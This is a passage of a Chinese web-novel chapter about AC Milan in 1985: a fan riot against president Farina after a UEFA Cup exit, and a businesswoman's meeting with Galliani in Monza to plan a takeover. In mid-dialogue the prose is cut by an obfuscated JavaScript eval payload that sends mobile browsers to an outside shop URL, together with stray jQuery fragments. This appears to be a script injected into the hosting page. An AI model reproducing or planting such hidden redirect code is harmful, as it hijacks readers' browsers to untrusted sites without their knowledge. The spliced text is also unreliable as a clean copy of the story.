12月11日，欧洲联盟杯16强赛次回合，AC米兰主场不敌瓦雷赫姆，1:2告负，结合首回合1:1战平的成绩，遗憾止步于16强。
大批球迷因不满球队成绩，发生暴动。
79-80赛季，AC米兰获得联赛冠军，却因卷入假球案，被意大利足协勒令降级。
80-81赛季，球队在意乙蛰伏一年，以冠军身份重返意甲；81-82赛季，在意甲中表现糟糕再次降级；82-83赛季，再次夺得意乙冠军重回意甲。
重返意甲后的两个赛季，米兰一直处于中游，无力争夺欧战资格。
这是AC米兰阔别欧战整整五年后的首次回归，却仅仅以一个潦草的16强作为收尾。作为一支老牌豪门，这个成绩显然不能让陪伴球队走出黑夜的死忠球迷们满意。于是，混乱开始了。
圣西罗的夜从未如此冷过。
这是马尔蒂尼经历的第一个欧战赛季，却早早出局，他打心里不能接受，却也没有办法。赛后更衣室里，大家心情低落，洗澡的时候也没像往常一样打闹。
塔索蒂刚才还没来得及洗澡就被叫了出去，过了很久也没回来，马尔蒂尼有些不安， 想起他被叫出去时脸上的表情，总有种风雨欲来的感觉。
“吱呀”一声，门被推开了。
塔索蒂和主教练利德霍尔姆一起进来，两个人的脸色都不好看。
“毛罗，你先去洗澡。催催其他人加快速度，我们得尽快回内洛。”
利德霍尔姆看着更衣室里稀稀拉拉的人群，挥手让塔索蒂先去。塔索蒂应了一声，匆匆拿上衣服去了淋浴间。
不好的预感成真了，马尔蒂尼看向坐在一旁的利德霍尔姆，却只得到了一个略带安抚性的眼神。
在队长的催促下，更衣室的球员很快都到齐了。
今天打进一球的马里奥·博尔托拉齐最先开了口：“先生，是有什么安排吗？”
利德霍尔姆表情严肃：“球迷发生暴动了，趁着现在情况还没恶化，我们需要尽快坐大巴车回到内洛。”
“接下来一直到和尤文图斯的比赛前，你们都最好不要离开内洛，有需要的东西可以叫家人朋友送过来。这是高层一致的决定。”
听到这，在场的球员们有一个算一个的都明白了事情的严重性，马上加快手脚，拿上东西，全程保持沉默跟着队长，直到顺利坐上驶往米兰内洛的大巴车。
比赛已经结束很久了，仍有一部分球迷久久未散。他们站在球场出口的铁栅栏外，层层叠叠压在一起，身上的红黑色在路灯下亮得醒目。所有人的目光都紧紧盯着那扇连接着球场内部停车场的铁门。
大约有三百人聚集在这里。
他们刚刚看了一场非常不想看到的东西，等了五年的欧战，打了两轮后，2:3爆冷输给了比利时一支名不见经传的小球队，灰头土脸地从阔别已久的战场上出局回家了。这甚至不是冠军杯，只是个联盟杯而已。
积聚的怒火亟待发泄。
有人开始喊名字。从一个人，零散的十几个人，然后逐渐连成片。
“法里纳！出来！”
“法里纳，下课！”
“法里纳！”
“下课！”
“我们不需要这样的主席！把米兰给能让她再次伟大的主席！”
声音像雷一样在黑夜里炸开，撞上了球场的外墙，又反弹进每个人的耳中，变成一团闷闷的轰鸣。铁门内的保安面无表情地注视着门外的人群，手按在腰侧。
好在没有人试图去撞开那扇门——至少现在没有。
门里终于有了动静。一辆深色轿车从地下停车场缓缓上来，车灯把铁栏杆照得通亮。
“主席？”司机看着眼前的情况，用询问的眼神看向后座。
“不用管，正常开回内洛吧。”法里纳疲惫地靠在一侧车门上，声音里充斥着无力感，“已经通知了警察来处理。”
人群认出了那辆车，更大更猛烈的雷声席卷过来。
“就是他！”
“法里纳——出来！”
“滚出来！”
“Vaffanculo， Farina！”
“Coglione！”
“Bastardo！”
“下课！我们需要新的主席！”
铁门开了，轿车以缓慢的速度开了出来。门在那之后以极快的速度合上了。
前排的人没有退开，他们站在那里，拍打着轿车的引擎盖。
手掌拍在金属上的声音钝而密集，像一阵急促的鼓点。有人扑到驾驶座的车窗上，隔着玻璃朝里面喊话。
有人骂了一句粗话，把围巾甩到了车顶上。红黑色的围巾搭在深色的车顶上，尾端垂在挡风玻璃前面，像落下的幕布。
夜色里看不清车里的人是什么表情，但车没有动——它停在铁门口，进不去，也退不了。
警察终于赶了过来。十来个人，带着装备，张开手臂把人群往后推。
车终于动了。它缓缓地向前挪了几米，又停住了。
人群跟着它移动，像推着船往前走的潮水。手掌印留在玻璃上，雾蒙蒙的。
“我们需要新的主席！”
“卖掉球队！”
轿车终于挤出了人群，拐上了通往郊区的大路。车尾灯在夜色里越来越小，最后消失在了十二月米兰的黑夜里。
基娅拉和贝娅特丽切远远地看着人群，直到这场闹剧在真理的震慑下散场。
她沉默了一会儿，才和贝娅特丽切一起坐上了早已等候在一旁的黑车。
黑色的车辆行驶在前往蒙扎的路上。
上次的闹剧结束后，米兰随即用联赛的胜利安抚住了球迷情绪。但所有人都知道，这只是治标不治本，沸腾的开水壶短暂被按下，谁也不知道它下一秒是否就会爆炸。
蒙扎在米兰东北方向，算是米兰的卫星城，从市区出来后，开车仅需半个小时。
车在目的地停下，贝娅特丽切走进了布里安特奥球场旁边的一栋二层小楼里。
楼的外墙刷着米黄色的涂料，有些地方已经剥落了，露出下面灰扑扑的砖面。门口没有招牌，只有一扇深绿色的铁门，门框上钉着一块小小的铜牌，刻着“AC Monza“的字样。
敲门后的半分钟，门开了。
加利亚尼站在门后面，穿着一件深灰色的羊毛开衫，里面是白衬衫，系着一条丑丑的领带。
他比照片上看起来矮一些，瘦一些，但眼睛很亮，这种亮让他给人一种精明感。他看了一眼贝娅特丽切，然后侧身让开了门口。
“菲奥伦蒂诺女士，”他说，声音带着蒙扎本地那种略带鼻音的腔调，“请进。”
办公室不大。至少对于一位球队副主席来说是如此。
一张深色的木质办公桌，上面摊着几份文件和一台电话。墙角立着一个老式的文件柜，柜门半开着，露出里面一排排整齐的文件夹。窗户朝南，能看到布里安特奥球场，看台上空无一人，只有几只鸽子在座位间踱步。
加利亚尼指了指办公桌对面的椅子，自己坐回了桌子后面。他没有倒咖啡，也没有寒暄天气。他靠在椅背上，双手交叉放在桌面上，开门见山发问道。
“菲奥伦蒂诺女士，”他说，语气平静但不失礼貌，“你在电话里说想聊聊足球。我有点好奇——一个医药集团的负责人，为什么会来找一个乙级俱乐部的小经理聊足球？”
贝娅特丽切在椅子上坐下来，把大衣的扣子解开了：“因为我知道你很快就不会继续在这当个小经理了，用中国的话来说，叫一步登天。”
加利亚尼的眼睛没有动：“是吗？”
“我知道贝卢斯科尼先生在准备收购米兰，”贝娅特丽切很从容，“而你将作为他的亲信，直接管理这家俱乐部。”
加利亚尼沉默了几秒钟，手指在桌面上轻轻敲了两下。
然后他笑了——没有被说中了之后的慌张，是一种“有意思”的笑容。
“你消息很灵通。”
“谢谢。”
加利亚尼点了点头。
“那么你今天来，是想做什么呢？”他站起来，走到窗边，看了一眼外面的球场。
“法里纳撑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689439|207878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不了多久了。”
“银行在催他还债，球迷在逼他走，他顶多过完这个冬歇期，就得走人。”
“米兰联盟杯淘汰之后，有人用石头砸碎了他的窗户。第二天他就称病没有去俱乐部。”
“他确实病了。”贝娅特丽切清楚这事，毕竟法里纳还想走她的关系去科莫湖待个几天。
“他病得不是身体。”加利亚尼话音里带着鄙视，“他病得是——他不该坐这个位置。”
贝娅特丽切看着加利亚尼。
他比她想象中更老练一些——不是那种老谋深算的老练，而是那种在小俱乐部里熬了十年、什么场面都见过之后磨出来的从容。
“贝卢斯科尼先生有和你说过他打算什么时候报价吗？”贝娅特丽切问。
“我想这不是女士您该关心的问题。”
“那如果我告诉你，菲奥伦蒂诺家族也对AC米兰有兴趣呢？”
办公室里的空气突然显得沉闷，加利亚尼用审视的目光重新评判着这位主动找上门来的竞争者。
“你们买不起米兰。”
“是吗？也许加利亚尼先生需要再了解一下菲奥伦蒂诺了。”
加利亚尼脑海里突然灵光一闪，菲奥伦蒂诺！他在电话里光听贝娅特丽切介绍是医药集团的负责人了，忘了把她和菲奥伦蒂诺这个姓联系在一起。该死，如果是这样，那她还真有这个实力。
“你们赢不了贝卢斯科尼的。”加利亚尼可惜道。
“是吗？”贝娅特丽切神秘一笑，“您觉得我是怎么知道您的呢？”
“你是说？”加利亚尼惊疑，“西尔维奥告诉你的？”
“我说过了，加利亚尼先生，我今天是来和你聊合作聊足球的。”
“叫我阿德里亚诺吧。”
贝娅特丽切从善如流：“阿德里亚诺，你可以叫我贝娅特丽切。”
“我很好奇，你干了什么。”加利亚尼这下是真的有了兴趣。
“只是谈成了一笔合作，让贝卢斯科尼先生自愿放弃竞争米兰而已。”
“只是？”加利亚尼清楚西尔维奥·贝卢斯科尼的性格，不见兔子不撒鹰的人，中途退出可不是他的风格。
“五年集团广告合约，外加对他的政治生涯的支持。”
“你知道的，做医疗行业的，总是会有些这里那里的关系。有时候我们自己都不清楚，哪里又多了个熟人。”贝娅特丽切微笑道。
“他连这个都和你们说了？”这下加利亚尼是真的相信西尔维奥放弃了。
“那你来找我？”
“我和贝卢斯科尼先生聊到组建一套新的俱乐部高层班底，我问他有没有推荐的人选，他向我推荐了你。”
“抱歉，我可以先通个电话吗？”
贝娅特丽切做了个请便的手势，自觉退出了房间，并带上了门。
加利亚尼伸手拿起桌上的电话听筒，拨了一个号码。电话响了两声，那边接了。
加利亚尼语速飞快地抛出了一系列问题，得到对面的解答后，他沉默了良久，最后打开门把贝娅特丽切重新请了进来。
“我大概清楚您今天来的目的了，在告诉您我的答复之前，我想问一个问题。”
“请。”
“为什么是我？”既然已经和贝卢斯科尼达成合作了，为什么又要往俱乐部里安插一个明摆着是对方助力的人呢？明明知道我和西尔维奥的关系，不是吗？加利亚尼是真的不解了，难道这是一种向西尔维奥示好的让步吗？
“我们只是相信加利亚尼先生的能力，也相信您对足球的热爱。”
“我们？”
“是的。我的女儿基娅拉非常信任您，她向我表示，一定要邀请您作为我们的经理。”
加利亚尼有些搞不懂这其中的关系，但这并不妨碍他客套地表示了几句感谢，随后正式答应了这次邀请。
这次会面后，1985年走到了尾声。
1986年即将到来，所有人都在等待着。
大部分人等待着新年，有人等待着最后的判决，而基娅拉她们只等待着不可错失的绝妙时机。